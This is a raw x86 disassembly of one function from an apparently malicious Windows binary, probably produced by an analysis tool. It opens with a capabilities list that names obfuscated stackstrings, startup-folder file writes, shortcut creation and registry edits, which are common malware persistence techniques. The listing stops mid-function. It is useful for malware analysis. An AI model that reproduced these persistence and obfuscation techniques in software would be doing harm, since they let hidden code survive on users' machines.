Function at 0x446230
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50a3a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb38
push ebx
xor eax, eax
push esi
mov dword [ebp - 0x30], eax
push edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xa0], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0046a770
lea eax, [ebp - 0x450]
mov ecx, 0x51b400
push eax
call fcn.004461b0
push eax
lea ecx, [ebp + 8]
call fcn.0046a5f0
lea ecx, [ebp - 0x450]
call fcn.004028d0
mov ecx, 0x537350
call fcn.004681f0
test al, al
je 0x4492a9
mov ecx, 0x537350
call fcn.00468200
test al, al
jne 0x4492a9
lea eax, [ebp - 0x528]
mov ecx, 0x537350
push eax
call fcn.00468080
lea eax, [ebp - 0x624]
mov ecx, 0x537350
push eax
call fcn.00468010
lea eax, [ebp - 0x624]
push eax
lea ecx, [ebp - 0x528]
call fcn.0046bb50
test al, al
jne 0x4492a9
mov ebx, dword [ebp - 0x14]
lea esp, [esp]
lea ecx, [ebp - 0x528]
call fcn.004675f0
lea ecx, [ebp - 0x1ff]
mov dword [ebp - 0x1ff], 0x99a99198
mov esi, eax
mov dword [ebp - 0x1fb], 0x9f9499
mov byte [ebp - 0x1f7], 1
call fcn.00409ee0
push eax
mov ecx, esi
call fcn.0046e710
lea ecx, [ebp - 0x58c]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x209]
mov dword [ebp - 0x209], 0x9aa99198
mov dword [ebp - 0x205], 0x88918b99
mov word [ebp - 0x201], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.0046e710
lea ecx, [ebp - 0x684]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x232]
mov dword [ebp - 0x232], 0x95a99198
mov dword [ebp - 0x22e], 0x9f96908d
mov dword [ebp - 0x22a], 0x9a939c92
mov word [ebp - 0x226], 0x100
call fcn.0040dfb0
push eax
mov ecx, esi
call fcn.0046e710
lea ecx, [ebp - 0x614]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0x90a99198
mov dword [ebp - 0x1be], 0x100969d
call fcn.0040c400
push eax
mov ecx, esi
call fcn.0046e710
lea ecx, [ebp - 0x438]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1aa]
mov dword [ebp - 0x1aa], 0x82a99198
mov dword [ebp - 0x1a6], 0x100958a
call fcn.0040c400
push eax
mov ecx, esi
call fcn.0046e710
lea ecx, [ebp - 0x574]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x29]
mov dword [ebp - 0x29], 0x96a99198
mov dword [ebp - 0x25], 0x89958d8d
mov dword [ebp - 0x21], 0x8da19389
mov dword [ebp - 0x1d], 0x706b6665
mov dword [ebp - 0x19], 0x7f7770
mov byte [ebp - 0x15], 1
call fcn.0040e100
push eax
mov ecx, esi
call fcn.0046e710
mov ecx, eax
call fcn.0046e940
lea ecx, [ebp - 0x2a]
mov byte [ebp - 0x44], al
mov dword [ebp - 0x2a], 0x96a99198
mov dword [ebp - 0x26], 0x89958d8d
mov dword [ebp - 0x22], 0x8ca19389
mov dword [ebp - 0x1e], 0x67676963
mov dword [ebp - 0x1a], 0x75636971
mov word [ebp - 0x16], 0x100
call fcn.0040e070
push eax
mov ecx, esi
call fcn.0046e710
mov ecx, eax
call fcn.0046e940
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x45], al
mov dword [ebp - 0x26], 0x96a99198
mov dword [ebp - 0x22], 0x89958d8d
mov dword [ebp - 0x1e], 0x8ca19389
mov dword [ebp - 0x1a], 0x6f6e6468
mov word [ebp - 0x16], 0x100
call fcn.0040def0
push eax
mov ecx, esi
call fcn.0046e710
mov ecx, eax
call fcn.0046e940
lea ecx, [ebp - 0x614]
mov byte [ebp - 0x46], al
call fcn.004028c0
test eax, eax
je 0x4465fd
sub esp, 0x18
mov word [ebp - 0xf9], 0xd8
lea ecx, [ebp - 0xf9]
mov byte [ebp - 0xf7], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.00409f40
push eax
mov ecx, esi
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x614]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0xc
call fcn.0040ab40
add esp, 0x30
lea ecx, [ebp - 0x420]
call fcn.00469600
lea ecx, [ebp - 0x420]
mov esi, eax
call fcn.004695f0
mov edi, eax
cmp esi, edi
je 0x4465a7
mov edx, esi
mov ecx, 0x534dec
call fcn.0046e6e0
test al, al
jne 0x4465f2
add esi, 0x18
cmp esi, edi
jne 0x446590
lea ecx, [ebp - 0x420]
call fcn.004696d0
lea ecx, [ebp - 0x574]
call fcn.004028d0
lea ecx, [ebp - 0x438]
call fcn.004028d0
lea ecx, [ebp - 0x614]
call fcn.004028d0
lea ecx, [ebp - 0x684]
call fcn.004028d0
lea ecx, [ebp - 0x58c]
mov byte [ebp - 4], 7
call fcn.004028d0
jmp 0x449284
lea ecx, [ebp - 0x420]
call fcn.004696d0
lea eax, [ebp - 0x55c]
push eax
lea ecx, [ebp - 0x438]
call fcn.0046a2c0
lea ecx, [ebp - 0x438]
mov edi, dword [eax]
lea eax, [ebp - 0x558]
push eax
call fcn.0046a2a0
lea ecx, [ebp - 0x438]
mov esi, dword [eax]
lea eax, [ebp - 0x554]
push eax
call fcn.0046a2c0
push edi
push esi
mov edx, fcn.004e5270
lea ecx, [ebp - 0x3ac]
push dword [eax]
call fcn.0046f150
add esp, 0xc
mov word [ebp - 0x3b], 0xd4
lea ecx, [ebp - 0x3b]
mov byte [ebp - 0x39], 1
call fcn.00467b50
lea ecx, [ebp - 0x438]
call fcn.00402a20
lea ecx, [ebp - 0x3b]
push ecx
push eax
call fcn.004e0b60
add esp, 8
test eax, eax
je 0x446757
push ebx
lea ecx, [ebp - 0x2e8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0xe
call fcn.00402ae0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x4f]
mov word [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4d], 1
call fcn.00467b50
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x32c]
call fcn.00402ac0
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4466d3
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
lea ecx, [ebp - 0x32c]
call fcn.00402ae0
lea eax, [ebp - 0x2e8]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x32c]
lea ecx, [ebp - 0x438]
call fcn.0040ae50
add esp, 4
lea ecx, [ebp - 0x32c]
call fcn.004028d0
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0xc
call fcn.004028d0
lea ecx, [ebp - 0x3b]
mov word [ebp - 0x3b], 0xd4
mov byte [ebp - 0x39], 1
call fcn.00467b50
lea ecx, [ebp - 0x438]
call fcn.00402a20
lea ecx, [ebp - 0x3b]
push ecx
push eax
call fcn.004e0b60
add esp, 8
test eax, eax
jne 0x446680
sub esp, 0x18
mov word [ebp - 0xf6], 0xd8
lea ecx, [ebp - 0xf6]
mov byte [ebp - 0xf4], 1
xor bl, bl
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00409f40
push eax
mov ecx, esi
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x438]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0xc
call fcn.0040ab40
add esp, 0x30
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x13
xor esi, esi
call fcn.004695d0
test eax, eax
je 0x4467ee
push esi
lea ecx, [ebp - 0x3a8]
call fcn.004695b0
lea edx, [ebp + 8]
mov ecx, eax
call fcn.0046e6e0
test al, al
jne 0x4467ec
lea ecx, [ebp - 0x3a8]
inc esi
call fcn.004695d0
cmp esi, eax
jb 0x4467c0
jmp 0x4467ee
mov bl, 1
lea ecx, [ebp - 0x3a8]
call fcn.004695d0
test eax, eax
je 0x446805
test bl, bl
je 0x44923b
sub esp, 0x18
mov word [ebp - 0xf3], 0xd8
lea ecx, [ebp - 0xf3]
mov byte [ebp - 0xf1], 1
xor bl, bl
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00409f40
push eax
mov ecx, esi
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x684]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x39c]
mov byte [ebp - 4], 0x13
call fcn.0040ab40
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x15
mov edi, dword [ebp - 0x398]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x39c]
mov dword [ebp - 0x40], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4479e0
lea esp, [esp]
mov edi, dword [ebp - 0x40]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.0046a770
sub esp, 0x10
mov byte [ebp - 4], 0x16
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.004684b0
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x15
call fcn.00413480
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x3c0]
call fcn.0046e910
test al, al
je 0x4479a3
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x9c849499
mov dword [ebp - 0x24], 0x9e929aa7
mov dword [ebp - 0x20], 0x9ca1969f
mov dword [ebp - 0x1c], 0x6a696e6f
mov dword [ebp - 0x18], 0x1007661
call fcn.004679a0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e710
lea edx, [ebp - 0x41]
mov ecx, eax
call fcn.0047e540
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x2a], 0x9c849499
mov dword [ebp - 0x26], 0x9e929aa7
mov dword [ebp - 0x22], 0x8fa1969f
mov dword [ebp - 0x1e], 0x74717261
mov dword [ebp - 0x1a], 0x7462776b
mov word [ebp - 0x16], 0x100
call fcn.004677b0
lea eax, [ebp - 0x2a]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e710
lea edx, [ebp - 0x42]
mov ecx, eax
call fcn.0047e540
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x9c849499
mov dword [ebp - 0x24], 0x9e929aa7
mov dword [ebp - 0x20], 0x97a1969f
mov dword [ebp - 0x1c], 0x6c767269
mov dword [ebp - 0x18], 0x1007c76
call fcn.004679a0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e710
lea edx, [ebp - 0x43]
mov ecx, eax
call fcn.0047e540
lea ecx, [ebp - 0x1a2]
mov dword [ebp - 0x1a2], 0x9c849499
mov dword [ebp - 0x19e], 0x96959da7
mov dword [ebp - 0x19a], 0x8c90949d
mov word [ebp - 0x196], 0x100
call fcn.004679d0
lea eax, [ebp - 0x1a2]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e710
lea ecx, [ebp - 0x2e8]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x52]
mov word [ebp - 0x52], 0xd8
mov byte [ebp - 0x50], 1
call fcn.00467b50
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x4c], esi
mov ecx, esi
push dword [ebp - 0x4c]
call fcn.00402ac0
lea ecx, [ebp - 0x52]
mov byte [ebp - 4], 0x19
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446a40
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x2e8]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x18
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x1d2]
xor bh, bh
mov dword [ebp - 0x1d2], 0x9c849499
mov dword [ebp - 0x1ce], 0x8e959aa7
mov dword [ebp - 0x1ca], 0x968c8992
mov dword [ebp - 0x1c6], 0x1007265
call fcn.00467750
lea eax, [ebp - 0x1d2]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0046e710
lea ecx, [ebp - 0x32c]
push ecx
mov ecx, eax
call fcn.0046e840
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x31c], 0
je 0x446bb1
sub esp, 0x18
mov word [ebp - 0xf0], 0xd8
lea ecx, [ebp - 0xf0]
mov byte [ebp - 0xee], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.00409f40
push eax
mov ecx, esi
call fcn.00402980
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x32c]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x1c
call fcn.0040ab40
mov esi, dword [ebp - 0x384]
xor ecx, ecx
mov dword [ebp - 0x38], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x380]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446b9e
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [esi + edi]
push eax
call fcn.00471ea0
test al, al
jne 0x446b9c
mov ecx, dword [ebp - 0x380]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x384]
add edi, 0x18
inc dword [ebp - 0x38]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x38], eax
jb 0x446b60
jmp 0x446b9e
mov bh, 1
lea ecx, [ebp - 0x384]
call fcn.0046c860
test bh, bh
je 0x44797f
cmp dword [ebp - 0x2d8], 0
je 0x44797d
cmp byte [ebp - 0x41], 0
je 0x44721f
lea ecx, [ebp + 0x30]
call fcn.00467fe0
test eax, eax
je 0x446ede
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp + 0x30]
call fcn.0046e9c0
lea eax, [ebp - 0x2b4]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00467e10
lea eax, [ebp - 0x2cd]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00467e00
mov eax, dword [ebp - 0x2b4]
cmp byte [eax + 0xd], 0
jne 0x446ecf
nop
test bl, bl
jne 0x446ecf
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00468200
test al, al
jne 0x446eb4
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x446eb4
lea eax, [ebp - 0x508]
mov ecx, esi
push eax
call fcn.00468080
lea eax, [ebp - 0x644]
mov ecx, esi
push eax
call fcn.00468010
lea eax, [ebp - 0x644]
push eax
lea ecx, [ebp - 0x508]
call fcn.0046bb50
test al, al
jne 0x446eb4
nop
lea ecx, [ebp - 0x508]
call fcn.004675f0
test bl, bl
jne 0x446eb4
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.0046e9c0
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x370]
call fcn.00467e10
lea eax, [ebp - 0x2e9]
push eax
lea ecx, [ebp - 0x370]
call fcn.00467e00
mov eax, dword [ebp - 0x2f0]
cmp byte [eax + 0xd], bl
jne 0x446e80
test bl, bl
jne 0x446e80
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x446e65
lea eax, [ebp - 0x4f8]
mov ecx, esi
push eax
call fcn.00468080
lea eax, [ebp - 0x634]
mov ecx, esi
push eax
call fcn.00468010
lea eax, [ebp - 0x634]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0046bb50
test al, al
jne 0x446e65
jmp 0x446d30
lea ecx, [ebp - 0x4f8]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x446e65
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x20
call fcn.00402ae0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x11b]
mov dword [ebp - 0x11b], 0x969b9a90
mov dword [ebp - 0x117], 0x1009791
call fcn.00467ac0
lea eax, [ebp - 0x11b]
mov ecx, esi
push eax
call fcn.0046e710
cmp byte [eax], bl
je 0x446dd1
lea ecx, [ebp - 0x1b2]
mov dword [ebp - 0x1b2], 0x969b9a90
mov dword [ebp - 0x1ae], 0x1009791
call fcn.0040c400
push eax
mov ecx, esi
call fcn.0046e710
push eax
lea ecx, [ebp - 0xd8]
call fcn.0046ea50
lea ecx, [ebp - 0x8e]
mov word [ebp - 0x8e], 0xda
mov byte [ebp - 0x8c], 1
call fcn.00467b50
sub esp, 0x18
lea eax, [ebp - 0xd8]
mov ecx, esp
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0x8e]
push eax
call fcn.0046e4d0
sub esp, 8
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x338]
mov ecx, esp
xor bh, bh
push eax
call fcn.004696e0
mov cl, bh
mov byte [ebp - 4], 0x21
call fcn.004136d0
add esp, 0x24
test al, al
je 0x446e31
mov bl, 1
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x1f
call fcn.004028d0
lea ecx, [ebp - 0x4f8]
call fcn.004675a0
lea eax, [ebp - 0x634]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0046bb50
test al, al
je 0x446d30
lea ecx, [ebp - 0x2f0]
call fcn.0046bae0
mov eax, dword [ebp - 0x2f0]
cmp byte [eax + 0xd], 0
je 0x446cd8
lea ecx, [ebp - 0x370]
mov byte [ebp - 4], 0x1e
call fcn.0041c080
lea ecx, [ebp - 0x508]
call fcn.004675a0
lea eax, [ebp - 0x644]
push eax
lea ecx, [ebp - 0x508]
call fcn.0046bb50
test al, al
je 0x446c80
lea ecx, [ebp - 0x2b4]
call fcn.0046bae0
mov eax, dword [ebp - 0x2b4]
cmp byte [eax + 0xd], 0
je 0x446c20
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0x1c
call fcn.0041c080
test bl, bl
jne 0x44721f
lea ecx, [ebp + 0x40]
call fcn.00467fe0
test eax, eax
je 0x44721f
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp + 0x40]
call fcn.0046e9c0
lea eax, [ebp - 0x2bc]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x3e0]
call fcn.00467e10
lea eax, [ebp - 0x2ea]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.00467e00
mov eax, dword [ebp - 0x2bc]
cmp byte [eax + 0xd], bl
jne 0x447210
lea esp, [esp]
test bl, bl
jne 0x447210
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x4471f5
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x4471f5
lea eax, [ebp - 0x518]
mov ecx, esi
push eax
call fcn.00468080
lea eax, [ebp - 0x654]
mov ecx, esi
push eax
call fcn.00468010
lea eax, [ebp - 0x654]
push eax
lea ecx, [ebp - 0x518]
call fcn.0046bb50
test al, al
jne 0x4471f5
mov edi, dword [ebp - 0xa0]
nop
lea ecx, [ebp - 0x518]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x4471f5
lea ecx, [ebp - 0x3e8]
mov byte [ebp - 4], 0x24
call fcn.00471b30
or edi, 0x40
lea edx, [ebp - 0x3e8]
mov ecx, esi
mov dword [ebp - 0xa0], edi
call fcn.0047e5c0
mov eax, dword [ebp - 0x3e8]
lea ecx, [ebp - 0x2b8]
push 0
push dword [eax]
call fcn.0046bb40
mov eax, dword [ebp - 0x2b8]
cmp byte [eax + 0xd], bl
jne 0x4471b8
mov edi, edi
test bl, bl
jne 0x4471b8
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x44719d
push esi
lea ecx, [ebp - 0x490]
call fcn.0046bc80
lea ecx, [ebp - 0x490]
call fcn.0046bc40
push esi
lea ecx, [ebp - 0x59c]
call fcn.0046bc80
lea ecx, [ebp - 0x59c]
call fcn.0046bc10
lea eax, [ebp - 0x59c]
push eax
lea ecx, [ebp - 0x490]
call fcn.0046bb50
test al, al
jne 0x44719d
lea ecx, [ebp - 0x490]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x44719d
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x25
call fcn.00402ae0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x113]
mov dword [ebp - 0x113], 0x969b9a90
mov dword [ebp - 0x10f], 0x1009791
call fcn.00467ac0
lea eax, [ebp - 0x113]
mov ecx, esi
push eax
call fcn.0046e710
cmp byte [eax], bl
je 0x447109
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x969b9a90
mov dword [ebp - 0x11f], 0x1009791
call fcn.00467ac0
lea eax, [ebp - 0x123]
mov ecx, esi
push eax
call fcn.0046e710
push eax
lea ecx, [ebp - 0xd8]
call fcn.00475660
lea ecx, [ebp - 0x91]
mov word [ebp - 0x91], 0xda
mov byte [ebp - 0x8f], 1
call fcn.00467b50
sub esp, 0x18
lea eax, [ebp - 0xd8]
mov ecx, esp
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0x91]
push eax
call fcn.0046e4d0
sub esp, 8
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x338]
mov ecx, esp
xor bh, bh
push eax
call fcn.004696e0
mov cl, bh
mov byte [ebp - 4], 0x26
call fcn.004136d0
add esp, 0x24
test al, al
je 0x447169
mov bl, 1
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x24
call fcn.004028d0
lea ecx, [ebp - 0x490]
call fcn.004675a0
lea eax, [ebp - 0x59c]
push eax
lea ecx, [ebp - 0x490]
call fcn.0046bb50
test al, al
je 0x447062
lea ecx, [ebp - 0x2b8]
call fcn.0046bae0
mov eax, dword [ebp - 0x2b8]
cmp byte [eax + 0xd], 0
je 0x447000
and edi, 0xffffffbf
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x3e8]
mov dword [ebp - 0xa0], edi
call fcn.0041c080
lea ecx, [ebp - 0x518]
call fcn.004675a0
lea eax, [ebp - 0x654]
push eax
lea ecx, [ebp - 0x518]
call fcn.0046bb50
test al, al
je 0x446fa0
lea ecx, [ebp - 0x2bc]
call fcn.0046bae0
mov eax, dword [ebp - 0x2bc]
cmp byte [eax + 0xd], 0
je 0x446f40
lea ecx, [ebp - 0x3e0]
mov byte [ebp - 4], 0x1c
call fcn.0041c080
cmp byte [ebp - 0x42], 0
je 0x44762b
test bl, bl
jne 0x44762b
lea ecx, [ebp + 0x50]
call fcn.00467fe0
test eax, eax
je 0x447425
lea eax, [ebp - 0x3d8]
push eax
lea ecx, [ebp + 0x50]
call fcn.0046e9c0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x2cc]
mov eax, dword [ebp - 0x3d8]
push 0
push dword [eax]
call fcn.0046bb40
lea eax, [ebp - 0x2eb]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.00467e00
mov eax, dword [ebp - 0x2cc]
cmp byte [eax + 0xd], bl
jne 0x447412
lea ebx, [ebx]
test bl, bl
jne 0x447412
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x4a0]
call fcn.0046bc80
lea ecx, [ebp - 0x4a0]
call fcn.0046bc40
push esi
lea ecx, [ebp - 0x5dc]
call fcn.0046bc80
lea ecx, [ebp - 0x5dc]
call fcn.0046bc10
lea eax, [ebp - 0x5dc]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.0046bb50
test al, al
jne 0x4473f7
lea ecx, [ebp - 0x4a0]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x4473f7
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x29
call fcn.00402ae0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0x9a8781
mov byte [ebp - 0xa6], 1
call fcn.00467dd0
lea eax, [ebp - 0xaa]
mov ecx, esi
push eax
call fcn.0046e710
cmp byte [eax], bl
je 0x447384
lea ecx, [ebp - 0xa5]
mov dword [ebp - 0xa5], 0x9a8781
mov byte [ebp - 0xa1], 1
call fcn.00467dd0
lea eax, [ebp - 0xa5]
mov ecx, esi
push eax
call fcn.0046e710
push eax
lea ecx, [ebp - 0xd8]
call fcn.00475660
sub esp, 0x18
lea eax, [ebp - 0xd8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a770
sub esp, 0xc
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x338]
mov ecx, esp
mov bh, 1
push eax
call fcn.004696e0
mov cl, bh
mov byte [ebp - 4], 0x2a
call fcn.004136d0
add esp, 0x24
test al, al
je 0x4473c3
mov bl, bh
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x28
call fcn.004028d0
lea ecx, [ebp - 0x4a0]
call fcn.004675a0
lea eax, [ebp - 0x5dc]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.0046bb50
test al, al
je 0x4472e3
lea ecx, [ebp - 0x2cc]
call fcn.0046bae0
mov eax, dword [ebp - 0x2cc]
cmp byte [eax + 0xd], 0
je 0x447290
lea ecx, [ebp - 0x3d8]
call fcn.0041c080
test bl, bl
jne 0x44762b
lea ecx, [ebp + 0x60]
call fcn.00467fe0
test eax, eax
je 0x44762b
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 4], 0x2c
call fcn.00471b30
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0x3d0]
or esi, 0x400000
lea ecx, [ebp + 0x60]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
call fcn.0047e5c0
mov eax, dword [ebp - 0x3d0]
lea ecx, [ebp - 0x2c0]
push 0
push dword [eax]
call fcn.0046bb40
mov eax, dword [ebp - 0x2c0]
cmp byte [eax + 0xd], 0
jne 0x447612
test bl, bl
jne 0x44760f
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x460]
call fcn.0046bc80
lea ecx, [ebp - 0x460]
call fcn.0046bc40
push esi
lea ecx, [ebp - 0x550]
call fcn.0046bc80
lea ecx, [ebp - 0x550]
call fcn.0046bc10
lea eax, [ebp - 0x550]
push eax
lea ecx, [ebp - 0x460]
call fcn.0046bb50
test al, al
jne 0x4475f4
lea esp, [esp]
lea ecx, [ebp - 0x460]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x4475f4
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x2d
call fcn.00402ae0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0xaf]
mov dword [ebp - 0xaf], 0x9a8781
mov byte [ebp - 0xab], 1
call fcn.00467dd0
lea eax, [ebp - 0xaf]
mov ecx, esi
push eax
call fcn.0046e710
cmp byte [eax], bl
je 0x447581
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0xb4], 0x9a8781
mov byte [ebp - 0xb0], 1
call fcn.00467dd0
lea eax, [ebp - 0xb4]
mov ecx, esi
push eax
call fcn.0046e710
push eax
lea ecx, [ebp - 0xd8]
call fcn.00475660
sub esp, 0x18
lea eax, [ebp - 0xd8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a770
sub esp, 0xc
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x338]
mov ecx, esp
mov bh, 1
push eax
call fcn.004696e0
mov cl, bh
mov byte [ebp - 4], 0x2e
call fcn.004136d0
add esp, 0x24
test al, al
je 0x4475c0
mov bl, bh
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x2c
call fcn.004028d0
lea ecx, [ebp - 0x460]
call fcn.004675a0
lea eax, [ebp - 0x550]
push eax
lea ecx, [ebp - 0x460]
call fcn.0046bb50
test al, al
je 0x4474e0
lea ecx, [ebp - 0x2c0]
call fcn.0046bae0
mov eax, dword [ebp - 0x2c0]
cmp byte [eax + 0xd], 0
je 0x447486
mov esi, dword [ebp - 0x34]
and esi, 0xffbfffff
lea ecx, [ebp - 0x3d0]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
call fcn.0041c080
jmp 0x44762e
mov esi, dword [ebp - 0x34]
cmp byte [ebp - 0x43], 0
je 0x44797f
test bl, bl
